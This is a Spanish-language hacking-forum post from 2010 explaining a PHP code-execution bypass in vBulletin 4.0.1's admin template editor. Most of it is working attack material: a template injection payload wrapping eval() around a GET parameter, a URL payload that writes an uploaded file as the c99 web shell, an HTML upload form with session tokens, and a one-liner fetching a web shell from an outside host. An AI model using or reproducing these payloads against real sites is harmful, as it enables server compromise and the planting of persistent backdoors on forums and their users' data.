elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:35  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)  (Leído 1,241 veces)
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)
« en: 21 Febrero 2010, 23:24 »

Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar esto.

Estaba viendo un demo oficial de vbulletín y quería ver si podía reproducir la misma vulnerabilidad de ipboard ya que son practicamente los mismos desarrolladores pero me encontré con algunos problemas.
( http://foro.elhacker.net/nivel_web/codigo_de_ejecucion_php_y_xss_en_ipboard_305-t285256.0.html )

Primero que nada acá no se pueden ejecutar funciones directamente como ipboard aunque la sintaxis es muy similar al editar un theme.
Lo que si pude lograr es inyectar código arbitrario en las las llamas {vb:raw}.
http://demo.vbulletin.com/admincp/template.php?s=&do=add&dostyleid=2&title=FORUMDISPLAY&group=forumdisplay

Para llamar a un título usas lo siguiente:
Código:
<title>{vb:raw foruminfo.title_clean}</title>

Por lo tanto me imaginé que debería llamar a alguna clase utilizando eval, o sea algo asi como
Código:
eval('$clase->'.$variable.'();');

Así que me puse a experimentar tratando de escapar con comillas y puntos y comas y a final que pude escapar del eval e inyectar código de la siguiente forma:
Código:
{vb:raw $voptions[eval(stripslashes(html_entity_decode($_GET[x])))]}

Lo que sucede es que si tratas de exponer directamente la función entonces vbulletin te va a decir que no es una variable válida asi que le damos en el gusto y lo encerramos en una variable válida.
Ahora si intentan poner esto en cualquier parte del theme no va a funcionar porque vbulletin utiliza un filtro y tiene una whitelist con las funciones que solamente pueden utilizarse, por lo tanto les va a rechazar la función eval().

Dentro del tag <title></title> es donde pueden ejecutarse las funciones de esta forma dentro de una variable válida y el filtro no va a saltar porque no lo procesará de forma correcta.

Con esto ya podemos hacer un
http://demo.vbulletin.com/index.php?x=if($_FILES){copy($_FILES['archivo']['tmp_name'],'c99.php');}exit;

y desde el firebug editamos el DOM del contenido HTML para escribir un form:
Código
<form method="post" enctype="multipart/form-data">
<input name="archivo" type="file">
<input value="Enviar" type="submit">
<input type="hidden" name="adminhash" value="baa10b27ca5198266ab2cf09f2b101e4" />
<input type="hidden" name="securitytoken" value="1266787977-14112f434378273e323fe65d5e7fc43535be4705" />
</form>

Ojo que vbulletín nos pedirá el token de nuestra sesión el cual lo puse en un input de tipo hidden y con eso ya subimos la c99 o si no la clásica con file_put_contents('c99.php', file_get_contents('http://r57.gen.tr/99.txt'));

Saludos.
« Última modificación: 21 Febrero 2010, 23:26 por WHK » En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Codigo para ocultar las funciones api
Programación C/C++
Timerlux 1 134 Último mensaje 10 Febrero 2012, 22:03
por [ Thunder | CLS ]
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines